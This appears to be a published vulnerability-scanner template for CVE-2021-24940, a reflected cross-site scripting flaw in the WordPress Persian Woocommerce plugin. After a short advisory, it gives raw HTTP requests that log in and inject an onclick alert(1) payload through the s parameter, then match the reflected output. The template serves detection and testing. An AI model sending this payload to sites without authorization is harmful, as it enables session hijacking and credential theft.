WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2021-24940
info:
name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: |
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in 5.9.8.
reference:
- https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
- https://nvd.nist.gov/vuln/detail/CVE-2021-24940
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24940
cwe-id: CWE-79
epss-score: 0.01887
epss-percentile: 0.82532
cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: woocommerce
product: persian-woocommerce
framework: wordpress
tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(header_2, "text/html")
- status_code_2 == 200
- contains(body_2, 'accesskey=X onclick=alert(1) test=')
- contains(body_2, 'woocommerce_persian_translate')
condition: and
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